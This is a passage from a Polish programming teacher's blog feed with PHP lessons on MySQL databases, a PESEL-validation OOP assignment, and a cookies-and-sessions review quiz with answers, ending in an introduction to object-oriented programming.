    PRIMARY KEY (uzytkownik_id, odznaka_id),
    FOREIGN KEY (uzytkownik_id) REFERENCES uzytkownicy(id) ON DELETE CASCADE,
    FOREIGN KEY (odznaka_id) REFERENCES odznaki(id) ON DELETE CASCADE
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;</code></pre>



<p class="wp-block-paragraph"><strong>phpMyAdmin – kolejność kliknięć</strong></p>



<ol class="wp-block-list">
<li>Zakładka <strong>Bazy danych</strong> → nazwa + metoda porównywania → <strong>Utwórz</strong>.</li>



<li>Kliknij bazę w lewym panelu (skrypt sam jej nie wybiera!) → zakładka <strong>SQL</strong> → wklej → <strong>Wykonaj</strong>.</li>



<li>Struktura tabeli: kliknij tabelę → zakładka <strong>Struktura</strong>.</li>



<li>Import gotowego pliku: baza → zakładka <strong>Import</strong> → wybierz plik <code class="prettyprint lang-sql" style="font-size: 0.85em;">.sql</code> → <strong>Wykonaj</strong>.</li>
</ol>



<p class="wp-block-paragraph"><strong>Sprawdzenie PHP</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">var_dump(extension_loaded('mysqli'));   // czy rozszerzenie jest włączone
var_dump(extension_loaded('pdo_mysql'));
var_dump(class_exists('mysqli'));       // mysqli to klasa
echo PHP_VERSION;</code></pre>



<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">php.ini</code>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">extension=mysqli</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">extension=pdo_mysql</code> (usuń średnik, zrestartuj Apache).</p>



<p class="wp-block-paragraph"><strong>Wiersz z bazy → obiekt</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane: $wiersz&#91;'data_wykonania'] !== null,</code></pre>



<p class="wp-block-paragraph"><strong>Najczęstsze kody błędów</strong></p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Kod</th><th>Znaczenie</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">#1064</code></td><td>błąd składni (np. przecinek po ostatniej kolumnie, cudzysłów typograficzny)</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">#1048</code></td><td>kolumna <code class="prettyprint lang-sql" style="font-size: 0.85em;">NOT NULL</code> dostała <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">#1062</code></td><td>złamana reguła <code class="prettyprint lang-sql" style="font-size: 0.85em;">UNIQUE</code> (duplikat)</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">#1264</code></td><td>wartość poza zakresem (np. <code class="prettyprint lang-sql" style="font-size: 0.85em;">-5</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">UNSIGNED</code>)</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">#1292</code></td><td>zła data (<code class="prettyprint lang-sql" style="font-size: 0.85em;">2026-02-31</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">'14.09.2026'</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">'NULL'</code>)</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">#1366</code></td><td>zły znak dla kodowania (emoji w <code class="prettyprint lang-sql" style="font-size: 0.85em;">utf8mb3</code>)</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">#1406</code></td><td>tekst dłuższy niż <code class="prettyprint lang-sql" style="font-size: 0.85em;">VARCHAR(n)</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">#1451</code></td><td>nie można usunąć „rodzica”, bo ma powiązane wiersze</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">#1452</code></td><td>klucz obcy wskazuje na nieistniejący wiersz</td></tr></tbody></table></figure>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Quiz – sprawdź się</h2>



<p class="wp-block-paragraph"><strong>1.</strong> Dobierz typ kolumny do każdej właściwości klasy: <code class="prettyprint lang-sql" style="font-size: 0.85em;">int $xp</code> (1–100), <code class="prettyprint lang-sql" style="font-size: 0.85em;">string $tytul</code> (maks. 100 znaków), <code class="prettyprint lang-sql" style="font-size: 0.85em;">string $termin</code> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">RRRR-MM-DD</code>), <code class="prettyprint lang-sql" style="font-size: 0.85em;">string $opis</code> (może być pusty).</p>



<p class="wp-block-paragraph"><strong>2.</strong> Które z tych poleceń zakończy się błędem i jakim? Zakładamy tabelę <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania</code> z lekcji.</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT INTO zadania (uzytkownik_id, tytul, termin, xp) VALUES (1, 'A', '14.09.2026', 10);
INSERT INTO zadania (uzytkownik_id, tytul, termin, data_wykonania, xp) VALUES (1, 'B', '2026-10-01', 'NULL', 10);
INSERT INTO zadania (uzytkownik_id, tytul, termin, xp) VALUES (1, 'C', '2026-10-01', '10');</code></pre>



<p class="wp-block-paragraph"><strong>3.</strong> W tabeli jest już użytkownik <code class="prettyprint lang-sql" style="font-size: 0.85em;">Kama_2026</code>. Co zrobi baza z poleceniem poniżej, jeśli baza ma metodę porównywania <code class="prettyprint lang-sql" style="font-size: 0.85em;">utf8mb4_unicode_ci</code>?</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT INTO uzytkownicy (login, imie) VALUES ('KAMA_2026', 'Trzecia Kama');</code></pre>



<p class="wp-block-paragraph"><strong>4.</strong> Uzupełnij definicję tak, żeby zadanie nie mogło należeć do nieistniejącego użytkownika, a usunięcie użytkownika kasowało jego zadania:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownik_id INT UNSIGNED NOT NULL,
______ (uzytkownik_id) ______ uzytkownicy(id) ______</code></pre>



<p class="wp-block-paragraph"><strong>5.</strong> Kolega zmienił w <code class="prettyprint lang-sql" style="font-size: 0.85em;">CREATE TABLE zadania</code> silnik na <code class="prettyprint lang-sql" style="font-size: 0.85em;">ENGINE=MyISAM</code>. Skrypt wykonał się bez błędu. Co przestanie działać?</p>



<p class="wp-block-paragraph"><strong>6.</strong> Co wypisze ostatnie polecenie i dlaczego?</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT INTO zadania (uzytkownik_id, tytul, termin, xp) VALUES (1, 'Pierwsze', '2026-10-01', 10);
DELETE FROM zadania WHERE tytul = 'Pierwsze';
INSERT INTO zadania (uzytkownik_id, tytul, termin, xp) VALUES (1, 'Drugie', '2026-10-01', 10);
SELECT id, tytul FROM zadania;</code></pre>



<p class="wp-block-paragraph"><strong>7.</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">xp INT UNSIGNED NOT NULL</code>. Czy baza przyjmie zadanie z XP równym <code class="prettyprint lang-sql" style="font-size: 0.85em;">500</code>? Co w TaskQuest pilnuje zakresu 1–100?</p>



<p class="wp-block-paragraph"><strong>8.</strong> W bazie są tylko użytkownicy o <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> 1 i 2. Co zwróci poniższe zapytanie: błąd, pusty wynik czy wszystkie zadania?</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT * FROM zadania WHERE uzytkownik_id = 3;</code></pre>



<p class="wp-block-paragraph"><strong>9.</strong> Uczeń chce przechowywać informację, że jeden gracz może mieć wiele odznak, a jedną odznakę może mieć wielu graczy. Proponuje dodać do tabeli <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownicy</code> kolumnę <code class="prettyprint lang-sql" style="font-size: 0.85em;">odznaki VARCHAR(255)</code> z listą nazw po przecinku. Podaj dwa konkretne problemy tego rozwiązania i napisz, jak zrobić to poprawnie.</p>



<p class="wp-block-paragraph"><strong>10.</strong> Uzupełnij zdania:<br />a) Stare rozszerzenie <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysql</code> zostało usunięte w PHP _<strong>_ , dlatego <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysql_connect()</code> dziś __</strong> .<br />b) <code class="prettyprint lang-sql" style="font-size: 0.85em;">PDO</code> obsługuje wiele silników baz danych, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code> tylko _<strong>_ .<br />c) <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code> można używać proceduralnie (<code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli_connect(...)</code>) albo obiektowo (`__</strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">). W TaskQuest używamy wersji ____ . d)</code> extension_loaded(&#8217;mysqli&#8217;)<code class="prettyprint lang-sql" style="font-size: 0.85em;">zwróciło</code>true`. Czy to znaczy, że aplikacja połączy się z bazą? ____</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>Odpowiedzi</strong></summary>
<ol class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">xp INT UNSIGNED NOT NULL</code> (zakresu 1–100 ten typ nie wymusza), <code class="prettyprint lang-sql" style="font-size: 0.85em;">tytul VARCHAR(100) NOT NULL</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">termin DATE NOT NULL</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">opis VARCHAR(300) NOT NULL DEFAULT ''</code> (brak opisu to pusty tekst, nie <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code>).</li>



<li>Pierwsze — błąd <code class="prettyprint lang-sql" style="font-size: 0.85em;">#1292</code>: data musi być w formacie <code class="prettyprint lang-sql" style="font-size: 0.85em;">RRRR-MM-DD</code>. Drugie — błąd <code class="prettyprint lang-sql" style="font-size: 0.85em;">#1292</code>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">'NULL'</code> to napis, a nie brak wartości (poprawnie: <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code> bez apostrofów). Trzecie się wykona — baza przekonwertuje <code class="prettyprint lang-sql" style="font-size: 0.85em;">'10'</code> na liczbę, ale to zła praktyka: apostrofy sugerują tekst.</li>



<li>Błąd <code class="prettyprint lang-sql" style="font-size: 0.85em;">#1062 Duplicate entry</code>. Metoda porównywania <code class="prettyprint lang-sql" style="font-size: 0.85em;">_ci</code> nie rozróżnia wielkości liter, więc dla reguły <code class="prettyprint lang-sql" style="font-size: 0.85em;">UNIQUE</code> to ten sam login co <code class="prettyprint lang-sql" style="font-size: 0.85em;">Kama_2026</code>.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">FOREIGN KEY (uzytkownik_id) REFERENCES uzytkownicy(id) ON DELETE CASCADE</code></li>



<li>Klucz obcy. MyISAM przyjmuje zapis <code class="prettyprint lang-sql" style="font-size: 0.85em;">FOREIGN KEY</code>, ale go <strong>nie egzekwuje</strong> — do tabeli <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania</code> trafi zadanie z nieistniejącym <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownik_id</code>, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">ON DELETE CASCADE</code> nic nie usunie. Dlatego używamy <code class="prettyprint lang-sql" style="font-size: 0.85em;">ENGINE=InnoDB</code>.</li>



<li>Zadanie „Drugie” dostanie <strong>następny</strong> numer, a nie numer zwolniony przez „Pierwsze” — w kolumnie <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> powstaje dziura. <code class="prettyprint lang-sql" style="font-size: 0.85em;">AUTO_INCREMENT</code> nie wraca do wykorzystanych numerów. Ta sama zasada co w <code class="prettyprint lang-sql" style="font-size: 0.85em;">nastepneIdZadania()</code> („największe <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> + 1”, nie <code class="prettyprint lang-sql" style="font-size: 0.85em;">count() + 1</code>).</li>



<li>Tak, przyjmie. <code class="prettyprint lang-sql" style="font-size: 0.85em;">UNSIGNED</code> odrzuca tylko liczby ujemne. Zakresu 1–100 pilnuje <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujNoweZadanie()</code> w PHP; w bazie można go wymusić regułą <code class="prettyprint lang-sql" style="font-size: 0.85em;">CHECK</code> (zadanie końcowe B).</li>



<li>Pusty wynik, bez błędu. Warunek <code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE</code> po prostu nie pasuje do żadnego wiersza — to nie jest błąd składni ani naruszenie reguły.</li>



<li>Problemy m.in.: baza nie sprawdzi, czy taka odznaka w ogóle istnieje (brak klucza obcego); nie da się zapisać daty zdobycia odznaki; wyszukanie „kto ma odznakę X” wymaga przeszukiwania tekstu; zmiana nazwy odznaki wymaga poprawienia jej w każdym wierszu; limit 255 znaków ograniczy liczbę odznak. Poprawnie: osobna tabela <code class="prettyprint lang-sql" style="font-size: 0.85em;">odznaki</code> i <strong>tabela pośrednicząca</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownicy_odznaki</code> z dwoma kluczami obcymi i kluczem głównym złożonym z pary kolumn (relacja m:n).</li>



<li>a) <code class="prettyprint lang-sql" style="font-size: 0.85em;">7.0</code>; nie zadziała (funkcja nie istnieje). b) MySQL/MariaDB. c) <code class="prettyprint lang-sql" style="font-size: 0.85em;">new mysqli(...)</code>; obiektowej. d) Nie — to znaczy tylko, że PHP ma włączone rozszerzenie. Nie sprawdza, czy serwer bazy działa, czy dane dostępowe są poprawne i czy baza istnieje.</li>
</ol>
</details>
<p>Artykuł <a href="https://kamakaczmarek.net/php-wspolpraca-z-bazami-danych/">17. PHP – współpraca z bazami danych</a> pochodzi z serwisu <a href="https://kamakaczmarek.net">Kama Kaczmarek</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>16. Zadanie z OOP podsumowujące dotychczasowe tematy.</title>
		<link>https://kamakaczmarek.net/zadanie-podsumowujace-dotychczasowe-tematy/</link>
		
		<dc:creator><![CDATA[Kama]]></dc:creator>
		<pubDate>Sun, 02 Dec 2018 21:00:01 +0000</pubDate>
				<category><![CDATA[aplikacje]]></category>
		<category><![CDATA[dla ucznia]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[zadanie]]></category>
		<guid isPermaLink="false">https://kamakaczmarek.net/?p=2316</guid>

					<description><![CDATA[<p>Stwórz klasę `Pesel`, która będzie walidować i dekodować numer PESEL podany przez użytkownika. Założenie jest takie, że po wpisaniu przez użytkownika nr PESEL zostanie sprawdzona jego poprawność i wyświetlona informacja w formacie: Numer PESEL składa się z 11 cyfr:&#8211; Cyfry 1-2: Rok urodzenia (dwie ostatnie cyfry)&#8211; Cyfry 3-4: Miesiąc urodzenia (z uwzględnieniem stulecia)&#8211; Cyfry 5-6: [&#8230;]</p>
<p>Artykuł <a href="https://kamakaczmarek.net/zadanie-podsumowujace-dotychczasowe-tematy/">16. Zadanie z OOP podsumowujące dotychczasowe tematy.</a> pochodzi z serwisu <a href="https://kamakaczmarek.net">Kama Kaczmarek</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">Stwórz klasę `Pesel`, która będzie walidować i dekodować numer PESEL podany przez użytkownika. Założenie jest takie, że po wpisaniu przez użytkownika nr PESEL zostanie sprawdzona jego poprawność i wyświetlona informacja w formacie:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">np. 
Kobieta urodzona w środę 11 czerwca 1997 roku.
Do urodzin pozostało: 45 dni, 12 godzin, 30 minut, 15 sekund.
np.
Mężczyzna urodzony w piątek 13 grudnia 1970 roku.
Do urodzin pozostało: 45 dni (1080 godzin).</code></pre>



<p class="wp-block-paragraph">Numer PESEL składa się z 11 cyfr:<br />&#8211; Cyfry 1-2: Rok urodzenia (dwie ostatnie cyfry)<br />&#8211; Cyfry 3-4: Miesiąc urodzenia (z uwzględnieniem stulecia)<br />&#8211; Cyfry 5-6: Dzień urodzenia<br />&#8211; Cyfry 7-10: Numer porządkowy + płeć<br />&#8211; Cyfra 11: Cyfra kontrolna<br /><br />Kodowanie stulecia w miesiącu:<br />&#8211; 1900-1999: miesiąc (01-12)<br />&#8211; 2000-2099: miesiąc + 20 (21-32)<br />&#8211; Przykład: 23 stycznia 2012 → `122123`&#8230; (12=rok, 21=styczeń XXI w., 23=dzień)<br /><br />Płeć:<br />&#8211; Cyfra 10 (przedostatnia): parzysta = kobieta, nieparzysta = mężczyzna<br /></p>



<p class="wp-block-paragraph">Szczegóły ad tworzenia tego nr <a href="https://www.gov.pl/web/gov/czym-jest-numer-pesel">dostępne są tutaj</a>.</p>



<h3 class="wp-block-heading">Wymagania:</h3>



<h4 class="wp-block-heading">Ocena 2</h4>



<p class="wp-block-paragraph">1. Stwórz klasę `Pesel` z:<br />   &#8211; Prywatną właściwością `$numer`<br />   &#8211; Konstruktorem przyjmującym numer PESEL jako string<br />   <br />2. Stwórz metodę `walidujFormat(): bool`, która sprawdza:<br />   &#8211; Czy podany PESEL to liczba (użyj `ctype_digit()`)<br />   &#8211; Czy zawiera dokładnie 11 cyfr<br />   &#8211; Zwraca `true` jeśli poprawny, `false` jeśli nie<br />   <br />3. Stwórz metodę `dekoduj(): array`, która zwraca tablicę:<br />   [<br />       'rok&#8217; => 1997,<br />       'miesiac&#8217; => 6,<br />       'dzien&#8217; => 11,<br />       'plec&#8217; => 'Kobieta&#8217;<br />   ]</p>



<h4 class="wp-block-heading">Ocena 3</h4>



<p class="wp-block-paragraph">Dodaj metody:</p>



<ol class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzDate(): DateTime</code> &#8211; zwraca obiekt DateTime z datą urodzenia</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">wyswietlInformacje(): void</code> &#8211; wyświetla zdekodowane dane</li>
</ol>



<p>Utwórz instancję klasy i wywołaj stworzone metody</p>



<h4 class="wp-block-heading">Ocena 4</h4>



<p>Rozszerz metodę <code class="prettyprint lang-sql" style="font-size: 0.85em;">wyswietlInformacje()</code> o wyświetlanie danych w formacie jak poniżej</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">Mężczyzna urodzony w Friday 13 December 1970 roku.
Do urodzin pozostało: 45 dni (1080 godzin).</code></pre>



<h4 class="wp-block-heading">Ocena 5</h4>



<p class="wp-block-paragraph">Przetłumacz dzień tygodnia na polski (użyj tablicy lub <code class="prettyprint lang-sql" style="font-size: 0.85em;">IntlDateFormatter</code>)</p>



<p class="wp-block-paragraph">Wyświetl nazwę miesiąca słownie (styczeń, luty&#8230;)</p>



<p>Dodaj szczegółowy licznik czasu</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">Kobieta urodzona w środę 11 czerwca 1997 roku.
Do urodzin pozostało: 45 dni, 12 godzin, 30 minut, 15 sekund.</code></pre>



<h4 class="wp-block-heading">Ocena 6</h4>



<p class="wp-block-paragraph">Dodaj walidację cyfry kontrolnej.</p>
<p>Artykuł <a href="https://kamakaczmarek.net/zadanie-podsumowujace-dotychczasowe-tematy/">16. Zadanie z OOP podsumowujące dotychczasowe tematy.</a> pochodzi z serwisu <a href="https://kamakaczmarek.net">Kama Kaczmarek</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>15. PHP – obiektowo</title>
		<link>https://kamakaczmarek.net/php-obiektowo-2/</link>
		
		<dc:creator><![CDATA[Kama]]></dc:creator>
		<pubDate>Sun, 02 Dec 2018 20:37:33 +0000</pubDate>
				<category><![CDATA[aplikacje]]></category>
		<category><![CDATA[dla ucznia]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[klasa]]></category>
		<category><![CDATA[obiekt]]></category>
		<category><![CDATA[php]]></category>
		<guid isPermaLink="false">https://kamakaczmarek.net/?p=2337</guid>

					<description><![CDATA[<p>Szybki quiz – przypomnienie poprzedniej lekcji Lekcja 14: cookies i sesje. Odpowiedz z pamięci, bez zaglądania do kodu. 1. Co wyświetli ten skrypt przy pierwszym otwarciu strony, a co przy drugim? 2. Znajdź błąd i powiedz, jaki komunikat zobaczy użytkownik: 3. W TaskQuest login zalogowanego użytkownika trzymamy w sesji, a wybrany widok listy — w [&#8230;]</p>
<p>Artykuł <a href="https://kamakaczmarek.net/php-obiektowo-2/">15. PHP – obiektowo</a> pochodzi z serwisu <a href="https://kamakaczmarek.net">Kama Kaczmarek</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h2 class="wp-block-heading">Szybki quiz – przypomnienie poprzedniej lekcji</h2>



<p class="wp-block-paragraph">Lekcja 14: cookies i sesje. Odpowiedz z pamięci, bez zaglądania do kodu.</p>



<p class="wp-block-paragraph"><strong>1.</strong> Co wyświetli ten skrypt przy <strong>pierwszym</strong> otwarciu strony, a co przy drugim?</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
setcookie('motyw', 'ciemny', time() + 3600);
echo $_COOKIE&#91;'motyw'] ?? '(brak)';</code></pre>



<p class="wp-block-paragraph"><strong>2.</strong> Znajdź błąd i powiedz, jaki komunikat zobaczy użytkownik:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
echo "&lt;h1&gt;TaskQuest&lt;/h1&gt;";
session_start();
$_SESSION&#91;'login'] = 'Kama';</code></pre>



<p class="wp-block-paragraph"><strong>3.</strong> W TaskQuest login zalogowanego użytkownika trzymamy w sesji, a wybrany widok listy — w ciasteczku. Podaj powód tej decyzji (jedno zdanie dla każdego).</p>



<p class="wp-block-paragraph"><strong>4.</strong> Wskaż <strong>dwa</strong> problemy w tej linii:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">if ($_COOKIE&#91;'rola'] === 'admin') { /* panel administratora */ }</code></pre>



<p class="wp-block-paragraph"><strong>5.</strong> Uzupełnij kod usuwający ciasteczko <code class="prettyprint lang-sql" style="font-size: 0.85em;">filtr</code>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">setcookie('filtr', '', ______);</code></pre>



<p class="wp-block-paragraph"><strong>6.</strong> Zapisujemy liczbę 99 raz do sesji (<code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SESSION['xp'] = 99;</code>), raz do ciasteczka (<code class="prettyprint lang-sql" style="font-size: 0.85em;">setcookie('xp', 99, time() + 3600);</code>). Co pokaże <code class="prettyprint lang-sql" style="font-size: 0.85em;">var_dump()</code> dla każdej z tych wartości w <strong>następnym</strong> żądaniu?</p>



<p class="wp-block-paragraph"><strong>7.</strong> Co wyświetli poniższy kod przy drugim odświeżeniu strony? A co, gdyby zabrakło pierwszej linii?</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
session_start();
$_SESSION&#91;'wizyty'] = ($_SESSION&#91;'wizyty'] ?? 0) + 1;
echo $_SESSION&#91;'wizyty'];</code></pre>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>Odpowiedzi</strong></summary>
<ol class="wp-block-list">
<li>Za pierwszym razem <code class="prettyprint lang-sql" style="font-size: 0.85em;">(brak)</code>, za drugim <code class="prettyprint lang-sql" style="font-size: 0.85em;">ciemny</code>. <code class="prettyprint lang-sql" style="font-size: 0.85em;">setcookie()</code> wysyła nagłówek do przeglądarki, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_COOKIE</code> zawiera to, co przyszło <strong>w tym</strong> żądaniu — nowe ciasteczko pojawi się tam dopiero w kolejnym.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">session_start()</code> jest po wypisaniu HTML, a wysyła nagłówek (ciasteczko <code class="prettyprint lang-sql" style="font-size: 0.85em;">PHPSESSID</code>): <code class="prettyprint lang-sql" style="font-size: 0.85em;">Warning: Cannot modify header information - headers already sent</code>. Sesję trzeba uruchomić przed jakąkolwiek treścią strony.</li>



<li>Login — w sesji, bo dane sesji leżą na serwerze i użytkownik nie może ich podmienić; od nich zależy, kim jest i co mu wolno. Widok listy — w cookie, bo to tylko wygoda, ma przetrwać zamknięcie przeglądarki, a ewentualna podmiana oznacza jedynie inny wygląd listy.</li>



<li>Po pierwsze: brak <code class="prettyprint lang-sql" style="font-size: 0.85em;">??</code> — przy braku ciasteczka <code class="prettyprint lang-sql" style="font-size: 0.85em;">Undefined array key 'rola'</code>. Po drugie: ufanie danym z cookie — użytkownik wpisze sobie <code class="prettyprint lang-sql" style="font-size: 0.85em;">admin</code> w F12. O uprawnieniach decyduje sesja, nie ciasteczko.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">time() - 3600</code> (dowolny czas w przeszłości) — przeglądarka sama usuwa wygasłe ciasteczko. Przy ciasteczku ustawionym ze ścieżką trzeba podać tę samą ścieżkę.</li>



<li>Sesja: <code class="prettyprint lang-sql" style="font-size: 0.85em;">int(99)</code> — sesja zachowuje typy PHP. Cookie: <code class="prettyprint lang-sql" style="font-size: 0.85em;">string(2) "99"</code> — wszystko, co przychodzi od przeglądarki, jest tekstem.</li>



<li>Wyświetli <code class="prettyprint lang-sql" style="font-size: 0.85em;">2</code>. Bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">session_start()</code> tablica <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SESSION</code> nie zostanie wypełniona danymi z sesji — zapis nie przetrwa żądania i zawsze zobaczymy <code class="prettyprint lang-sql" style="font-size: 0.85em;">1</code> (a w zależności od konfiguracji także ostrzeżenie o nieuruchomionej sesji).</li>
</ol>
</details>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<p><a href="#TaskQuest">TaskQuest</a></p>
<p><a href="#dodatek">Dodatek</a></p>



<p class="wp-block-paragraph">Programowanie obiektowe – OOP (object-oriented programming) – pozwala na przedstawienie rzeczywistości i relacji w niej zachodzących za pomocą obiektów.</p>



<h2 class="wp-block-heading">Po co nam programowanie obiektowe?</h2>



<p class="wp-block-paragraph">Programowanie obiektowe (ang. <em>Object-Oriented Programming</em>, OOP) wprowadza strukturę i organizację do kodu, co ułatwia jego tworzenie, rozwijanie i utrzymanie. Poniżej znajdziesz wyjaśnienie, <strong>po co stosować programowanie obiektowe</strong>, z przykładami jego głównych zalet:</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">1. <strong>Organizacja i modularność</strong></h3>



<ul class="wp-block-list">
<li>OOP pozwala dzielić kod na mniejsze, logiczne fragmenty (klasy), które odpowiadają rzeczywistym obiektom lub pojęciom.</li>



<li>Dzięki temu kod jest bardziej przejrzysty i łatwiejszy w zarządzaniu.</li>
</ul>



<p class="wp-block-paragraph"><strong>Przykład</strong>: W grze komputerowej można mieć klasy <code class="prettyprint lang-sql" style="font-size: 0.85em;">Gracz</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">Przeciwnik</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">Broń</code>. Każda z nich zawiera tylko dane i funkcje związane z tym obiektem.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">2. <strong>Reużywalność kodu</strong></h3>



<ul class="wp-block-list">
<li>Możesz tworzyć klasy i wykorzystywać je wielokrotnie w różnych projektach lub częściach programu.</li>



<li><strong>Dziedziczenie</strong> umożliwia tworzenie nowych klas na podstawie istniejących, dzięki czemu kod jest bardziej elastyczny.</li>
</ul>



<p class="wp-block-paragraph"><strong>Przykład</strong>: Klasa <code class="prettyprint lang-sql" style="font-size: 0.85em;">Pojazd</code> może mieć podklasy <code class="prettyprint lang-sql" style="font-size: 0.85em;">Samochód</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">Motocykl</code>, które dziedziczą podstawowe cechy pojazdu (np. prędkość, masa), ale dodają swoje specyficzne funkcje.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">3. <strong>Łatwiejsze rozwijanie aplikacji</strong></h3>



<ul class="wp-block-list">
<li>W OOP zmiany są łatwiejsze do wprowadzenia, ponieważ każda klasa działa jako oddzielny moduł.</li>



<li>Jeśli potrzebujesz zmienić zachowanie jednego elementu, modyfikujesz tylko odpowiednią klasę, bez wpływu na inne części programu.</li>
</ul>



<p class="wp-block-paragraph"><strong>Przykład</strong>: Dodanie nowej broni w grze wymaga jedynie stworzenia nowej klasy na podstawie istniejącego schematu, np. <code class="prettyprint lang-sql" style="font-size: 0.85em;">Broń</code>.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



